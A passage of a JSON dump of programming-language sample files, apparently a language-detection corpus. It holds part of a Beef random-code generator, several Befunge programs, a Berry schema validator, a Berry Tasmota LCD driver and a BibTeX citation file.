1;\n\n\t\t\t\tvar arrTypeDef = new TypeDef();\n\t\t\t\tarrTypeDef.mName = new String(\"System.String[]\");\n\t\t\t\tmOtherTypes.Add(arrTypeDef);\n\n\t\t\t\tLocalDef localDef = new LocalDef();\n\t\t\t\tlocalDef.mName = new String(\"args\");\n\t\t\t\tlocalDef.mTypeDef = arrTypeDef;\n\t\t\t\t\n\t\t\t\tmethodDef.mLocals.Add(localDef);\n                methodDef.mStatementCount = mUserTypes.Count + mPrimitives.Count;\n                methodDef.mReturnType = mPrimitives[2];\n\t\t\t\tmethodDef.mIsStatic = true;\n                typeDef.mMethods.Add(methodDef);\n\n                mCurTypeDef = typeDef;\n                CreateTypePool(typeDef, mUserTypes.Count + mPrimitives.Count);\n\n                mUserTypes.Add(typeDef);\n            }\n\n\t\t\tif (!mVerbose)\n\t\t\t\tProgressStart();\n\n            int specializedTypes = 0;\n            int unspecializedTypes = 0;\n            for (var typeDef in mUserTypes)\n\t\t\tUserTypeBlock:\n            {\n\t\t\t\tvar typeFullName = scope String();\n\t\t\t\ttypeDef.GetFullName(typeFullName);\n\n                if (typeDef.mIsSpecializedGeneric)\n                {\n                    specializedTypes++;\n\t\t\t\t\tif (mVerbose)\n                    \tConsole.WriteLine(\"Skipping type: {0} uses: {1}\", typeFullName, typeDef.mUseCount);\n                    continue;\n                }\n\n                if (typeDef.mIsUnspecializedGeneric)\n                    unspecializedTypes++;\n\t\t\t\tif (mVerbose)\n                \tConsole.WriteLine(\"Writing type: {0} uses: {1}\", typeFullName, typeDef.mUseCount);\n\n                String directory = scope String();\n                String namespaceStr = scope String();\n                if (typeDef.mNamespace != null)\n                {\n\t\t\t\t\ttypeDef.mNamespace.GetFullName(namespaceStr);\n                    directory.Append(mBaseDir, \"/\");\n\t\t\t\t\tdirectory.Replace('.', '/');\n                }\n                else\n                {\n                    directory.Append(mBaseDir);\n                }\n                \n                //StringWriter StringWriter = new StringWriter();\n                //mFile = StringWriter;\n\n                String fullPath = scope String()..Append(directory, \"/\");\n\t\t\t\ttypeDef.GetRootName(fullPath);\n\t\t\t\tfullPath.Append(\".bf\");\n\n                FileStream file = scope FileStream();\n\t\t\t\tbool isOpen = false;\n\n                for (int i = 0; i < 500; i++)\n                {\n                    Directory.CreateDirectory(directory).IgnoreError();\n\n\t\t\t\t\tif (file.Create(fullPath) case .Ok)\n\t\t\t\t\t{\n\t\t\t\t\t\tisOpen = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n                    Thread.Sleep(10);\n                }\n\n\t\t\t\tif (!isOpen)\n\t\t\t\t\tRuntime.FatalError(\"Unable to create file\");\n\n\t\t\t\tStreamWriter streamWrite = scope .(file, Encoding.UTF8, 4096);\n\n                mCurTypeDef = typeDef;\n                //mFile = file;\n                mIndentCount = 0;\n\n                WriteLine(\"// RandoCode seed: {0}\", mSeed);\n                WriteLine(\"#pragma warning disable 0168\");\n\n                WriteLine();\n                if (!namespaceStr.IsEmpty)\n                {\n                    WriteLine(\"namespace {0}\", namespaceStr);\n                    WriteLine(\"{\");\n                    mIndentCount++;\n                }                \n                String typeStr = scope String();\n                if (typeDef.mIsStruct)\n                    typeStr.Append(\"struct \");\n                else\n                    typeStr.Append(\"class \");\n                typeStr.Append(typeDef.mName);\n                WriteLine(typeStr);\n                WriteLine(\"{\");\n                mIndentCount++;\n\n                for (var fieldDef in typeDef.mFields)\n                {\n                    String str = scope String(\"public \");\n                    if (fieldDef.mIsStatic)\n                        str.Append(\"static \");\n                    str.Append(fieldDef.mTypeDef.mName);\n                    str.Append(\" \");\n                    str.Append(fieldDef.mName);\n                    str.Append(\";\");\n                    WriteLine(str);\n                }\n                \n                for (int methodIdx = 0; methodIdx < typeDef.mMethods.Count; methodIdx++)\n                {\n                    WriteLine();\n                    var methodDef = typeDef.mMethods[methodIdx];\n                    mCurMethodDef = methodDef;                    \n                    String str = scope String(\"public \");\n\n\t\t\t\t\tif (methodDef.mIsStatic)\n\t\t\t\t\t\tstr.Append(\"static \");\n\n                    str.Append(methodDef.mReturnType.mName);\n                    str.Append(\" \");\n\n                    str.Append(methodDef.mName);\n                    str.Append(\"(\");\n                    for (int paramIdx = 0; paramIdx < methodDef.mParamCount; paramIdx++)\n                    {\n                        if (paramIdx > 0)\n                            str.Append(\", \");\n\n                        var paramDef = methodDef.mLocals[paramIdx];\n                        str.Append(paramDef.mTypeDef.mName);\n                        str.Append(\" \");\n                        str.Append(paramDef.mName);\n                    }\n                    str.Append(\")\");\n\n\t\t\t\t\tif (typeDef.mIsStruct)\n\t\t\t\t\t\tstr.Append(\"mut \");\n\n                    WriteLine(str);\n                    mStartIndentCount = mIndentCount;\n                    if (methodDef.mName == \"Main\")\n                        GenerateMainBlock();\n\t\t\t\t\telse if (methodDef.mName == \"Use\")\n                        GenerateUseBlock();\n                    else\n                        GenerateBlock();                    \n                }\n\n                mIndentCount--;\n                WriteLine(\"}\");\n                if (!namespaceStr.IsEmpty)\n                {\n                    mIndentCount--;\n                    WriteLine(\"}\");\n                }\n\n                for (var namespaceDef in typeDef.mUsingNamespaces)\n\t\t\t\t{\n\t\t\t\t\tvar namespaceName = scope String();\n\t\t\t\t\tnamespaceDef.GetFullName(namespaceName);\n                    streamWrite.WriteLine(\"using {0};\", namespaceName);\n\t\t\t\t}\n                streamWrite.Write(mQueuedText);\n\t\t\t\tmQueuedText.Clear();\n\n                file.Close();\n\n\t\t\t\tif (!mVerbose)\n\t\t\t\t\tWriteProgress(@typeDef.Index / (float)mUserTypes.Count);\n            }\n\t\t\tif (!mVerbose)\n\t\t\t\tConsole.WriteLine(\"\");\n\n            Console.WriteLine(\"Types: {0} UnspecializedGenerics: {1} SpecializedGenerics: {2} Lines: {3}\", mUserTypes.Count, unspecializedTypes, specializedTypes, mLineCount);\n        }\n\n\t\tvoid HandleConfig(String configPath)\n\t\t{\n\t\t\tStructuredData sd = scope StructuredData();\n\t\t\tsd.Load(configPath);\n\n\t\t\tsd.Get(\"TypeCount\", ref mConfig.mTypeCount);\n\t\t\tsd.Get(\"PrimitiveTypeChance\", ref mConfig.mPrimitiveTypeChance);\n\t\t\tsd.Get(\"StructPct\", ref mConfig.mStructPct);\n\t\t\tsd.Get(\"TypeComplexityPower\", ref mConfig.mTypeComplexityPower);\n\t\t\tsd.Get(\"CreateGenericTypePct\", ref mConfig.mCreateGenericTypePct);\n\t\t\tsd.Get(\"SpecializedTypePower\", ref mConfig.mSpecializedTypePower);\n\t\t\tsd.Get(\"UnspecializedTypeScalar\", ref mConfig.mUnspecializedTypeScalar);\n\t\t\tsd.Get(\"TypeDefPoolPower\", ref mConfig.mTypeDefPoolPower);\n\t\t\tsd.Get(\"TypeDefPoolOffset\", ref mConfig.mTypeDefPoolOffset);\n\t\t\tsd.Get(\"TypeDefPoolScalar\", ref mConfig.mTypeDefPoolScalar);\n\t\t\tsd.Get(\"FieldCountPower\", ref mConfig.mFieldCountPower);\n\t\t\tsd.Get(\"FieldCountScalar\", ref mConfig.mFieldCountScalar);\n\t\t\tsd.Get(\"FieldStaticPct\", ref mConfig.mFieldStaticPct);\n\t\t\tsd.Get(\"VoidReturnPct\", ref mConfig.mVoidReturnPct);\n\t\t\tsd.Get(\"MethodCodeComplexityPower\", ref mConfig.mMethodCodeComplexityPower);\n\t\t\tsd.Get(\"MethodLengthScalar\", ref mConfig.mMethodLengthScalar);\n\t\t\tsd.Get(\"MethodCountScalar\", ref mConfig.mMethodCountScalar);\n\t\t\tsd.Get(\"AssignMemberPct\", ref mConfig.mAssignMemberPct);\n\t\t\tsd.Get(\"CreateLocalPct\", ref mConfig.mCreateLocalPct);\n\t\t\tsd.Get(\"ParamCountPower\", ref mConfig.mParamCountPower);\n\t\t\tsd.Get(\"ParamCountScalar\", ref mConfig.mParamCountScalar);\n\t\t\tsd.Get(\"NewSpacespaceChance\", ref mConfig.mNewSpacespaceChance);\n\t\t\tsd.Get(\"RootNamespaceChance\", ref mConfig.mRootNamespaceChance);\n\t\t}\n\n        static void Main(String[] args)\n        {\n\t\t\tif (args.Count == 0)\n\t\t\t{\n\t\t\t\tConsole.WriteLine(\"Usage: RandoCode <configFile>\");\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tString cwd = scope String();\n\t\t\tDirectory.GetCurrentDirectory(cwd);\n\n            Program pg = new Program();\n\t\t\tpg.HandleConfig(args[0]);\n            pg.Run();\n\t\t\tdelete pg;\n        }\n    }\n}\n"
  },
  {
    "path": "samples/Befunge/aturley.bf",
    "content": ">84*>:#v_55+\"ude.ub@yelruta\">:#,_@>188*+>\\02p\\12p\\:22p#v_$    55+,1-         v\n    ^  0 v +1\\                   _^#-+*<               >22g02g*\"_@\"*-!1- #v_v>\n       >:>::3g: ,\\188                  ^^               -1\\g21\\g22<p3\\\"_\":<\n________________________________@_________________________________^  p3\\\"@\":<"
  },
  {
    "path": "samples/Befunge/beer7.bf",
    "content": "5:*4*1-           >:1    v\n           v.:<\n           #  |:\\<       <     \n>v\"No more \"0 <          0     \n,:                       :     \n^_$        v             |!-1       <\n>v\"bottle\"0<      | :,*25<                          \n,:           >\"s\"v@      \n^_$1-        |   ,\n>v\" of beer\"0<   <\n,:               >v                    \n^_$            :!|    \n>v\" on the wall\"0<\n,:                     >\".\"v\n^_$               >:2-!|\n                       >\",\">,25*,:  |\n>v\"Take one down, pass it around,\"0$<       \n,:                                                  \n^_$25*,1-      :2v"
  },
  {
    "path": "samples/Befunge/befunge3.bf",
    "content": "Bef ung e-9 3 r ock s!* #^<\n^ $ -   0   1 _ 2 ^ @   <\nv+  +:  :7  : + < * 0 : *<\n> - 1   1   - v 1 > + , ^\n>:0 g,: 4   %2- | 8 '97 BEM"
  },
  {
    "path": "samples/Befunge/cascade.bf",
    "content": ">011p013p>11g13gg:84*`#v_84*>11g13g4+p$v\n#     13p^p11         <>    ^        >  \n          v                            <\n#     13pv>11g1+:85*-#^_011p13g1+:4%#^_"
  },
  {
    "path": "samples/Befunge/mycorand.bf",
    "content": "p4v       p00+1g00      <<<<<                                                 v<\r\n  #>                   :    |                                                 ,\"\r\n  > 1- :2+\"^\"\\7p \"^\"32p:   |                                                  ,t\r\n v? 1- :2+\">\"\\7p \"^\"33p:  |                                                   ,i\r\n  > 1- :2+\"v\"\\7p \"^\"34p: |                                                    ,m\r\n >  1- :2+\"<\"\\7p \"^\"35p:|                                                     ,e\r\nv                    +55<<<<<                             p6+1*36*88p6*54-1*95<\"\r\n>\"     redro eht ni detareneg erew snoitcerid ehT\">:#,_\" tem saw ?\">:#,_g1+.\"s\"^\r\n\r\nAfter going in a direction:\r\n\tSubtract one from the counter\r\n\tPlace >^v<, according to which direction was taken, in the string\r\n\tSetup the following being done every time this path is taken again, then do it:\r\n\t\tIf the counter is zero, output the number of tries needed and the order of >^v< and stop\r\n\t\tAdd one to the number of tries needed\r\n\t\tGo back to the ?\r\n"
  },
  {
    "path": "samples/Berry/berry_schema_validator.be",
    "content": "# A berry schema validator similar to a json schema validator\n\nimport persist\n\nvar sv = module('sv')\n\nsv.regex = 'regex'\nsv.time = 'time'\n\ndef gettype(data)\n    var t = type(data)\n    return t == 'instance' ? classname(data) : t\nend\n\nclass PatternMatch\n    static formats = {}\n    static def load()\n        if persist.has('sv_formats')\n            PatternMatch.formats = persist.sv_formats\n        else\n            persist.sv_formats = {\n                \"%H:%M\": {\n                    \"validator\": \"time\",\n                    \"pattern\": \"%H:%M\"\n                }\n            }\n            PatternMatch.formats = persist.sv_formats\n        end\n    end\nend\n\nclass FormatValidator\n    var _compiled\n    def init()\n        self._compiled = {}\n    end\n    def match(format, value)\n        var found = PatternMatch.formats.find(format)\n        if found != nil\n            var engine = self.invoke(found['validator'])\n            if engine !=nil \n                return !!engine(self, found['pattern'], value)\n            end\n        end\n        return !!self.regex(format, value)\n    end\n    def invoke(engine)\n        return {\n            sv.regex: self.regex,\n            sv.time: self.strptime\n        }.find(engine)\n    end\n    def regex(pattern, value)\n        import re\n        # If the compiled regex is not cached, compile and cache\n        if !self._compiled.contains(pattern)\n            self._compiled[pattern] = re.compile(pattern)\n        end\n        return self._compiled[pattern].match(value)\n    end\n    def strptime(pattern, value)\n        var t = tasmota.strptime(value, pattern)\n        if t && t['hour'] < 24 && t['min'] < 60 && t['sec'] < 60\n            return true\n        else\n            return false\n        end\n    end\nend\n   \nclass Validate\n    var node, name, path, errors, value, fv\n    def addError(error)\n        var path = self.path[1..]\n        path.push(self.name)\n        path = path.concat('.')\n        self.errors[path] = error\n    end\n    def isValid(node, data, name, value, path, errors)\n        self.node = node\n        self.name = name\n        self.path = path\n        self.errors = errors\n        self.value = value\n        if !self.isValidRequired()\n            self.addError('is required')\n            return false\n        end\n        if self.value == 'undefined'\n            return true\n        end\n        var tv = gettype(self.value)\n        if !self.isValidType(tv)\n            self.addError('type must be ' .. self.node['type'])\n            return false;\n        end\n        if !self.isValidSize(tv)\n            self.addError('size must be '.. self.node['size'])\n            return false\n        end\n        if !self.isValidValues(tv)\n            self.addError('values must be '.. self.node['values'])\n            return false\n        end\n        if !self.isValidFormat() \n            self.addError('value does not match '.. self.node['format'])\n            return false\n        end\n        return true\n    end\n    def isValidRequired()\n        var required = self.node.find('required')\n        return !(self.value == 'undefined' && required)\n    end\n    def isValidType(tv)\n        if !self.node.contains('type')\n            return true\n        end\n        return tv == self.node['type']\n    end\n    def isValidSize(tv)\n        if !self.node.contains('size') \n            return true\n        end\n        if tv != 'list' && tv != 'string'\n            return true\n        end\n        var sizeType = gettype(self.node['size'])\n        if sizeType == 'int'\n            return size(self.value) == self.node['size']\n        elif sizeType == 'range'\n            return size(self.value) >= self.node['size'].lower() &&\n            size(self.value) <= self.node['size'].upper()\n        else\n            self.addError('schema size must be int or range')\n            return false\n        end\n    end\n    def isValidValues(tv)\n        if !self.node.contains('values')\n            return true\n        end\n        var nv = self.node['values']\n        if gettype(nv) != 'list'\n            self.addError(\"schema values must be list\")\n            return false\n        end\n        var num = (tv == 'int' || tv == 'real')\n        for v: nv\n          if num && isinstance(v, range) \n            && self.value >= v.lower() \n            && self.value <= v.upper()\n            return true\n          elif self.value == v\n            return true\n          end\n        end\n        return false\n    end\n    def isValidFormat()\n        if !self.node.contains('format')\n            return true\n        end\n        # Lazy instantiate the FormatValidator if needed\n        if !self.fv self.fv = FormatValidator() end\n        return self.fv.match(self.node['format'], self.value)\n    end\nend\n\nclass SchemaValidator\n    var data, errors, path, val\n    def init(schema, data)\n        self.data = {}\n        self.errors = {}\n        self.path = []\n        self.val = Validate()\n        self.visit({\"root\": schema}, {\"root\": data})\n    end       \n    def visit(parentNode, data, opt, cleanedData)\n        data = data ? data : {}\n        opt = opt ? opt : {}\n        cleanedData = cleanedData ? cleanedData : {}\n        if opt.contains('nodeName')\n            self.path.push(opt['nodeName'])\n        end        \n        for name: parentNode.keys()\n            var node = parentNode[name]\n            var nodeType = gettype(node)\n            # Expand schema list shortcut\n            if nodeType == 'list'\n                node = {\n                    \"items\": node[0],\n                    \"type\": 'list'\n                }\n                if node['items'].contains('size')\n                    node['size'] = node['items']['size']\n                    node['items'].remove('size')\n                end\n            end\n            var value = data.contains(name) ? data[name] : 'undefined'\n            if !self.val.isValid(node, data, name, value, self.path, self.errors)\n                continue\n            end\n            if value == 'undefined'\n                continue\n            end\n            if node['type'] == 'map'\n                cleanedData[name] = {}\n                self.visit(\n                    node['properties'], \n                    data[name], \n                    {\"nodeName\": name}, \n                    cleanedData[name]\n                )\n                continue\n            elif node['type'] == 'list'\n                cleanedData[name] = []\n                for idx: data[name].keys()\n                    self.visit(\n                        {idx: node['items']},\n                        {idx: data[name][idx]},\n                        {\"nodeName\": name},\n                        cleanedData[name]\n                    )\n                end\n                continue\n            end\n            if gettype(cleanedData) == 'list'\n                cleanedData.push(data[name])\n            else\n                cleanedData[name] = data[name]\n            end\n        end\n        if opt.contains('nodeName')\n            self.path.pop()\n        end\n        if self.path.size() == 0\n            self.data = cleanedData.find('root')\n        end\n        return self\n    end\n    def result()\n        return {\n            \"is_valid\": !self.errors.size(),\n            \"errors\": self.errors,\n            \"data\": self.data\n        }\n    end\nend\n\n# Load persisted regex patterns\nPatternMatch.load()\n\nsv.formats = def() \n    var l = []\n    for k: PatternMatch.formats.keys()\n        l.push(k)\n    end\n    return l \nend\nsv.add_format = def(pattern, engine, value)\n    if type(pattern) != 'string' return end\n    if type(value) != 'string' return end\n    if engine != sv.regex && engine != sv.time\n        return\n    end\n    PatternMatch.formats.setitem(\n        value, {\"validator\": engine, \"pattern\": pattern}\n    )\n    persist.save()\nend\nsv.remove_format = def(key)\n    PatternMatch.formats.remove(key)\n    persist.save()\nend\nsv.validate = def(schema, data) \n    return SchemaValidator(schema, data).result() \nend\nreturn sv"
  },
  {
    "path": "samples/Berry/lcd_display.be",
    "content": "import string\n\nvar lcd_display = module('lcd_display')\n\n#  ------------------------------------------------------------------------------------\n#  This is a Tasmota driver for the Liquid Crystal LCD displays that use the I2C bus.\n#  The backlight is on by default, since that is the most likely operating mode in\n#  most cases. It is a direct berry port of the Arduino Liquid Crystal 12C C++ library.\n#  Cols and Rows both start at 1, not zero.\n#  -------------------------------------------------------------------------------------\n\nclass lcd_i2c\n\n    # commands\n    static LCD_CLEARDISPLAY = 0x01\n    static LCD_RETURNHOME = 0x02\n    static LCD_ENTRYMODESET = 0x04\n    static LCD_DISPLAYCONTROL = 0x08\n    static LCD_CURSORSHIFT = 0x10\n    static LCD_FUNCTIONSET = 0x20\n    static LCD_SETCGRAMADDR = 0x40\n    static LCD_SETDDRAMADDR = 0x80\n\n    # flags for display entry mode\n    static LCD_ENTRYRIGHT = 0x00\n    static LCD_ENTRYLEFT = 0x02\n    static LCD_ENTRYSHIFTINCREMENT = 0x01\n    static LCD_ENTRYSHIFTDECREMENT = 0x00\n\n    # flags for display on/off control\n    static LCD_DISPLAYON = 0x04\n    static LCD_DISPLAYOFF = 0x00\n    static LCD_CURSORON = 0x02\n    static LCD_CURSOROFF = 0x00\n    static LCD_BLINKON = 0x01\n    static LCD_BLINKOFF = 0x00\n\n    # flags for display/cursor shift\n    static LCD_DISPLAYMOVE = 0x08\n    static LCD_CURSORMOVE = 0x00\n    static LCD_MOVERIGHT = 0x04\n    static LCD_MOVELEFT = 0x00\n\n    # flags for function set\n    static LCD_8BITMODE = 0x10\n    static LCD_4BITMODE = 0x00\n    static LCD_2LINE = 0x08\n    static LCD_1LINE = 0x00\n    static LCD_5x10DOTS = 0x04\n    static LCD_5x8DOTS = 0x00\n\n    # flags for backlight control\n    static LCD_BACKLIGHT = 0x08\n    static LCD_NOBACKLIGHT = 0x00\n\n    # Helper flags\n    static LCD_LINES = {1: 0x80, 2: 0xC0, 3: 0x94, 4: 0xD4}\n    static LCD_SLEEP = 1\n\n    static Rg = 0x00    # Register default\n    static En = 0x04    # Enable bit\n    static Rs = 0x01    # Register select bit\n\n    var address, wire, rows, cols, charsize, backlight, displaycontrol, displaymode\n\n    #  Constructor\n    #\n    #  @param address    I2C slave address of the LCD display. Most likely printed on the\n    #                    LCD circuit board, or look in the supplied LCD documentation.\n    #  @param cols       Number of columns your LCD display has.\n    #  @param rows       Number of rows your LCD display has.\n    #  @param charsize   The size in dots that the display has, use LCD_5x10DOTS or LCD_5x8DOTS.\n    def init(address, rows, cols, charsize)\n        self.address = address ? address : 0x27\n        self.rows = rows ? rows : 4\n        self.cols = cols ? cols : 20\n        self.charsize = charsize ? charsize : self.LCD_5x8DOTS\n        self.backlight = self.LCD_BACKLIGHT\n        self.wire = tasmota.wire_scan(self.address)\n        # Start the display\n        self.begin()\n    end\n    def begin()\n        # Set some defaults...\n        var displayfunction = self.LCD_4BITMODE | self.LCD_1LINE | self.LCD_5x8DOTS\n        if self.rows > 1\n            displayfunction |= self.LCD_2LINE\n        end\n        # For some 1 line displays you can select a 10 pixel high font\n        if self.charsize != 0 && self.rows == 1\n            displayfunction |= self.LCD_5x10DOTS\n        end\n        # Reeset expander and turn backlight off (Bit 8 =1)\n        self.expand_write(self.backlight)\n        tasmota.delay(1)\n        # We start in 8bit mode, try to set 4 bit mode\n\t    self.write4bits(0x03 << 4)\n        # Wait min 4 ms\n        tasmota.delay(5)\n        # second try\n\t    self.write4bits(0x03 << 4)\n\t    tasmota.delay(5) # wait min 4.1ms\n    \t# third go!\n\t    self.write4bits(0x03 << 4)\n    \ttasmota.delay(1)\n        # set to 4-bit interface\n        self.write4bits(0x02 << 4)\n        # Set lines, font size, etc.\n\t    self.command(self.LCD_FUNCTIONSET | displayfunction)\n        # Turn the display on with no cursor or blinking default\n\t    self.displaycontrol = self.LCD_DISPLAYON | self.LCD_CURSOROFF | self.LCD_BLINKOFF\n    \tself.display()\n        # Clear the screen\n        self.clear()\n        # Initialize to default text direction (for roman languages)\n\t    self.displaymode = self.LCD_ENTRYLEFT | self.LCD_ENTRYSHIFTDECREMENT\n        # Set the entry mode\n        self.command(self.LCD_ENTRYMODESET | self.displaymode)\n        # Set cursor position to zero\n        self.home()\n    end\n\n    #********** High level commands, for the user! **********\n\n    def clear()\n        self.command(self.LCD_CLEARDISPLAY)\n    end\n    # Set cursor position to zero\n    def home()\n        self.command(self.LCD_RETURNHOME)\n        tasmota.delay(2)\n    end\n    # Set cursor position. First row and column is 1 not zero \n    def set_cursor(col, row)\n        var row_offsets = [0x00, 0x40, 0x14, 0x54]\n        if row > self.rows\n            row = self.rows-1 \n        end\n        self.command(self.LCD_SETDDRAMADDR | (col-1 + row_offsets[row-1]))\n    end\n    # Turn the display on/off (quickly)\n    def no_display()\n        self.displaycontrol &= ~self.LCD_DISPLAYON\n        self.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)\n    end\n    def display()\n        self.displaycontrol |= self.LCD_DISPLAYON\n        self.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)\n    end\n    # Turns the underline cursor on/off\n    def no_cursor()\n\t    self.displaycontrol &= ~self.LCD_CURSORON\n\tself.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)\n    end\n    def cursor()\n\t    self.displaycontrol |= self.LCD_CURSORON\n\tself.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)\n    end\n    # Turn on and off the blinking cursor\n    def no_blink()\n\t    self.displaycontrol &= ~self.LCD_BLINKON\n\tself.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)\n    end\n    def blink()\n\t    self.displaycontrol |= self.LCD_BLINKOFF\n\t    self.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)\n    end\n    # This is for text that flows Left to Right\n    def display_left()\n        self.command(self.LCD_CURSORSHIFT | self.LCD_DISPLAYMOVE | self.LCD_MOVELEFT)\n    end\n    def display_right()\n        self.command(self.LCD_CURSORSHIFT | self.LCD_DISPLAYMOVE | self.LCD_MOVERIGHT)\n    end\n    # This is for text that flows Left to Right\n    def left_to_right()\n        self.displaymode |= self.LCD_ENTRYLEFT\n        self.command(self.LCD_ENTRYMODESET | self.displaymode)\n    end\n    # This is for text that flows Right to Left\n    def right_to_left()\n        self.displaymode &= ~self.LCD_ENTRYLEFT\n        self.command(self.LCD_ENTRYMODESET | self.displaymode)\n    end\n    # This will 'right justify' text from the cursor\n    def autoscroll()\n        self.displaymode |= self.LCD_ENTRYSHIFTINCREMENT\n        self.command(self.LCD_ENTRYMODESET | self.displaymode)\n    end    \n    # This will 'left justify' text from the cursor\n    def no_autoscroll()\n        self.displaymode &= ~self.LCD_ENTRYSHIFTINCREMENT\n        self.command(self.LCD_ENTRYMODESET | self.displaymode)\n    end\n    # Allows us to fill the first 8 CGRAM locations with custom characters \n    def create_char(location, chars)\n        location &= 0x7 # We only have 8 locations 0-7\n        self.command(self.LCD_SETCGRAMADDR | (location << 3))\n        for char: 0 .. 7\n            self.write(chars[char])\n        end\n    end\n    # Turn the (optional) backlight on/off\n    def backlight_on()\n        self.backlight = self.LCD_BACKLIGHT\n        self.expand_write(0)\n    end\n    def backlight_off()\n        self.backlight = self.LCD_NOBACKLIGHT\n        self.expand_write(0)\n    end\n    def get_backlight()\n        return self.backlight == self.LCD_BACKLIGHT\n    end\n\n    # *********** Mid level commands, for sending data/cmds ************\n\n    def command(byte)\n        self.send(byte, 0)\n    end\n    def write(byte)\n        self.send(byte, self.Rs)\n    end\n    def write_line(text, line)\n        if !self.LCD_LINES.has(line) return end\n        import string\n        self.command(self.LCD_LINES[line])\n        text = self.pad(text)\n        for char: 0 .. size(text) -1\n            self.write(string.byte(text[char]))\n        end\n    end\n    \n    # ************ low level data pushing commands ************\n\n    def send(byte, mode)\n        mode = mode ? mode : 0\n        self.write4bits(mode | (byte & 0xF0) )\n        self.write4bits(mode | ((byte << 4) & 0xF0) )\n    end\n    def write4bits(byte)\n        self.expand_write(byte)\n        self.pulse_enable(byte)\n    end\n    def expand_write(byte)\n        if self.wire != nil\n            self.wire.write(self.address, self.Rg, (byte | self.backlight), 1)\n        end\n    end\n    def pulse_enable(byte)\n        self.expand_write(byte | self.En)\n        tasmota.delay(self.LCD_SLEEP)\n        self.expand_write(byte & ~self.En)\n        tasmota.delay(self.LCD_SLEEP)\n    end\n\n    # Helper methods\n\n    def pad(text)\n        for x: size(text) .. self.cols-1  \n            text += \" \" \n        end\n        return text        \n    end\n    def set_backlight(on)\n        if on\n            self.backlight_on()\n        else\n            self.backlight_off()\n        end\n    end\nend\n\nclass clock\n    static callback = nil\n    static initialised = false\n    static waiting = false\n    static def initialise()\n        clock.initialised = true\n        if clock.waiting\n            clock.waiting = false\n            clock.callback()\n            clock.set_timer()\n        end\n    end\n    static def start(callback)\n        clock.callback = callback\n        if clock.initialised\n            clock.set_timer()\n        else\n            clock.waiting = true\n        end\n    end\n    static def set_timer()\n        tasmota.set_timer(\n            def()\n                var l = tasmota.rtc()['local']\n                var t = tasmota.time_dump(l)\n                return 60000-t['sec']*1000\n            end(),\n            def() \n                if clock.callback\n                    clock.callback()\n                end\n                clock.set_timer() \n            end, \n            \"hc_lcd_timer\"\n        )\n    end\n    static def stop()\n        tasmota.remove_timer(\"hc_lcd_timer\")\n    end\n end\n\nclass dotmatrixscreen\n    var lcd\n    def init()\n        self.lcd = lcd_i2c()\n    end\n    def start()\n        self.power(true)\n        # subscribe to initial time\n        if clock.initialised \n            self.update_clock()\n        else\n            self.lcd.write_line(\"Starting...\", 1)\n            clock.callback = / -> self.update_clock()\n        end\n        self.start_clock()\n        tasmota.add_rule(\"HeatingDisplay#HeatingZone\", /z-> self.update_zone(z))\n        tasmota.add_rule(\"HeatingDisplay#ClearZone\", /z-> self.clear_zone(z))\n    end\n    def stop()\n        self.lcd.clear()\n        tasmota.remove_rule(\"HeatingDisplay#HeatingZone\")\n        tasmota.remove_rule(\"HeatingDisplay#ClearZone\")\n        self.stop_clock()\n        self.power(false)\n    end\n    def power(bool)\n        self.lcd.set_backlight(bool)\n    end\n    def update_clock()\n        self.lcd.write_line(tasmota.strftime('%H:%M %a %d %b %y', tasmota.rtc()['local']), 1)\n    end\n    def update_zone(zone)\n        if zone['id'] > 3 return end\n        var const = 12&(1<<zone['mode'])\n        var fmt = const ? \"%s %s Const\" : '%s %s until %%R'\n        var info = string.format(fmt, zone['label'], zone['power'] ? 'ON' : 'OFF')\n        if !const\n            info = tasmota.strftime(info, zone['expiry'])\n        end\n        self.lcd.write_line(info, zone['id']+1)\n    end\n    def clear_zone(zone)\n        self.lcd.write_line('', zone+1)\n    end\n    def start_clock()\n        clock.start(/->self.update_clock())\n    end\n    def stop_clock()\n        clock.stop()\n    end\nend\n\n# Hold a reference to screen instance\nlcd_display._display = nil\n\ndef ack()\n    tasmota.publish_result('{\"HeatingDisplay\":\"ACK\"}', 'RESULT')\nend\n\ndef start()\n    if lcd_display._display return end\n    lcd_display._display = dotmatrixscreen()\n    lcd_display._display.start()\nend\ndef stop()\n    if !lcd_display._display return end\n    lcd_display._display.stop()\n    lcd_display._display = nil\nend\n\n# Subscibe to Tasmota events\ntasmota.add_rule(\"Time#Initialized\", /-> clock.initialise())\n# Subscribe to events sent from Heating Controller\ntasmota.add_rule(\"HeatingDisplay==ON\", /->tasmota.set_timer(0, start))\ntasmota.add_rule(\"HeatingDisplay==OFF\", /->tasmota.set_timer(0, stop))\ntasmota.add_rule(\"HeatingDisplay==SYN\", /->tasmota.set_timer(0, ack))\n# Once lvgl_display loads an initialisation trigger is broadcast\nack()\n\nreturn lcd_display\n"
  },
  {
    "path": "samples/BibTeX/citations.bib",
    "content": "%% Following example taken from BibTeX's Wikipedia article\n\n@Book{abramowitz+stegun,\n author    = \"Milton {Abramowitz} and Irene A. {Stegun}\",\n title     = \"Handbook of Mathematical Functions with\n              Formulas, Graphs, and Mathematical Tables\",\n publisher = \"Dover\",\n year      =  1964,\n address   = \"New York City\",\n edition   = \"ninth Dover printing, tenth GPO printing\"\n}\n\n%% Next two examples were taken from github/linguist#3679\n\n@incollection{dijkstra1982role,\n  title={On the role of scientific thought},\n  author={Dijkstra, Edsger W},\n  booktitle={Selected writings on computing: a personal perspective},\n  pages={60--66},\n  year={1982},\n  publisher={Springer}}\n\n@book{knuth1998art,\n  title={The art of computer programming: sorting and searching $math$},\n  author={Knuth, Donald Ervin},\n  volume={3},\n  year={1998},\n  publisher={Pearson Education}\n}\n"
  },
  {
    "path": "samples/BibTeX/deeplyaggrevated.bibtex",
